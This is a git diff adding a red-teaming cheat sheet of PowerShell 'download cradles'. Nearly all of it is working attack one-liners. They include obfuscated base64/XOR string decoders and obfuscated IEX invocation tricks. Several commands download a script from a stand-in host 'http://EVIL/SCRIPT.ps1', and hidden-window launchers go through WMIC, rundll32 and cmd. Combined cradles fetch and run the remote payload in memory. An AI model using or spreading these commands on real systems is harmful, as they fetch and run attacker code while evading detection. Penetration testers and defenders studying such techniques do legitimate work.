diff --git a/red-teaming/Download-Cradles-Oneliners.md b/red-teaming/Download-Cradles-Oneliners.md new file mode 100644 index 0000000..c79cf90 --- /dev/null +++ b/red-teaming/Download-Cradles-Oneliners.md @@ -0,0 +1,139 @@ +### Download Cradles + +#### 0) Extra goodies + +- Obfuscated `FromBase64String` with `-bxor` nice for dynamic strings deobfuscation: +``` +$t=([type]('{1}{0}'-f'vert','Con'));($t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('Yk9CA05CA0hMV0I=')|%{$_-bxor35}|%{[char]$_})-join'' +``` + +- The same as above but for UTF-16 base64 encoded strings: +``` +$t=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]$t::(($t.GetMethods()|?{$_.Name-clike'F*g'}).Name).Invoke('MAA7ACAAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUA')-ne0) +``` + +#### A) Powershell Code Execution primitives + + Phrase `(Function).Invoke()` may be rephrased as: `&(Function)` + + 1. _Scriptblock_: + ``` + [scriptblock]::Create('Get-Service').Invoke() + ``` + + 2. PS1.0 Invoke + ``` + $ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Get-Member)[6].Name).PsObject.Methods|Where{$_.Name-ilike'In*'}).Name).Invoke('Get-Service') + ``` + + 3. Get-Alias: + ``` + &(DIR Alias:/I*X)'Get-Service' + ``` + + 4. Get-Command: + ``` + &(GCM I*e-E*) + ``` + + 5. Powershell Runspace + ``` + [PowerShell]::Create().(([PowerShell]::Create()|Member)[5].Name).Invoke('Get-Service').Invoke() + ``` + + 6. Concatenated IEX: + ``` + &(''.SubString.ToString()[67,72,64]-Join'')'Get-Service' + ``` + + 7. _Invoke-AsWorkflow_ (PS3.0+) + ``` + Invoke-AsWorkflow -Ex ('Get-Service') + ``` + +#### B) Powershell Payload Download primitives + + 1. Invoke-RestMethod (PS3.0+) + ``` + ('http://EVIL/SCRIPT.ps1'|%{(IRM $_)}) + ``` + + 2. Obfuscated `Net.WebClient.DownloadString`: + ``` + $w=(New-Object Net.WebClient);$w.(((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1') + ``` + + 3. Net.WebRequest: + ``` + [IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd() + ``` + + 4. `Msxml2.XMLHTTP` COM object: + ``` + $c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();$c.ResponseText + ``` + +#### C) Operating-System Launcher primitives + + 1. WMIC: + ``` + WMIc "pROCESs" cALl crEATE "PoWErSheLL -WInDowstyLE HIdDEn -NonINTErA Get-Service" + ``` + + 2. Rundll32 SHELL32.DLL,ShellExec_RunDLL + ``` + RuNDlL32.exE SHELL32,ShellExec_RunDLL "POWERsHeLL" "-w 1" " -NonInter " "-CO " "Get-Service" + ``` + + 3. Cmd + set VAR && Powershell iex VAR + ``` + cmd /c"sEt sqm=Get-Service&&PowErsHeLl -WinDoWstY hIDDeN -NoniNtERActi -coMmand .( ${E`NV:Com`sp`ec}[4,26,25]-JOIn'')( ( ^&( \"{2}{1}{0}\"-f'm','eT-ITe','G' ) ( \"{1}{0}{2}\" -f'v:S','En','qm') ).\"vaL`Ue\")" + ``` + + 4. Cmd + Echo | Powershell - (stdin) + ``` + CmD.exE /c" ECho/Get-Service | PoWeRsheLL -nOninT -WindOw hiDDe -ComM (gcI 'vARiaBLE:eX*xT').vAluE.InvoKECOmmanD.InVOkESCript($inPut )" + ``` + + 5. Cmd + Echo | Clip && Powershell iex clipboard + ``` + cmd /C" ECHO/Get-Service|cLIP&& POweRsHElL -Windo hIDd -NONINTe -St -ComMaN . ( \"{0}{1}{2}\"-f'Ad','d-',( \"{0}{1}\" -f 'Ty','pe') ) -AN ( \"{0}{2}{4}{1}{3}\"-f'P',(\"{0}{1}\" -f'a','tio'),'res',( \"{0}{1}\" -f'n','Core' ),'ent' ) ; ^& ( ( [sTriNG]${ve`R`B`oSepRE`F`eRENce} )[1,3] + 'x'-joiN'' ) (( [WInDoWS.cLipBoARd]::( \"{1}{2}{0}\" -f't','Get','Tex').\"i`N`VoKE\"( )) ) ; [Windows.Clipboard]::( \"{1}{0}\" -f'ar','Cle').\"I`Nv`OkE\"( )" + ``` + + +#### D) Combined Download Cradles + + 1. PowerShell 3.0+ + ``` + IEX (iwr 'http://EVIL/SCRIPT.ps1') + ``` + + 2. Normal download cradle + ``` + IEX (New-Object Net.Webclient).downloadstring("http://EVIL/SCRIPT.ps1") + ``` + + 3. Download Cradle combining _ScriptBlock_ + `Invoke-RestMethod` + ``` + [scriptblock]::Create(('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})).Invoke() + ``` + + 4. `Msxml2.XMLHTTP` COM object with Scriptblock: + ``` + $c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);$c.Send();[scriptblock]::Create($c.ResponseText).Invoke() + ``` + + 5. Minimized `Net.WebRequest` combined with _ScriptBlock_ execution: + ``` + [scriptblock]::Create([IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse().GetResponseStream()).ReadToEnd()).Invoke() + ``` + + 6. A bit obfuscated `Net.WebClient.DownloadString` with Get-Alias IEX variant: + ``` + $w=(New-Object Net.WebClient);$w.(((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Name-clike'D*g'}).Name).Invoke('http://EVIL/SCRIPT.ps1')|&(DIR Alias:/I*X) + ``` + + 7. Obfuscated `Net.HttpWebRequest` with _Get-Command IEX`: + ``` + $h=[tYpE]('{1}{2}{0}'-f('pWebRe'+'quest'),'Ne','t.Htt');$v=((((gET-vAriABLE h).vAlue::Create('http://EVIL/SCRIPT.ps1').PSObject.Methods|?{$_.Name-clike'G*se'}).Invoke()).PSObject.Methods|?{$_.Name-clike'G*eam'}).Invoke();$r='';Try{While($r+=[Char]$v.ReadByte()){}}Catch{};&(GCM *ke-*pr*)$r + ``` \ No newline at end of file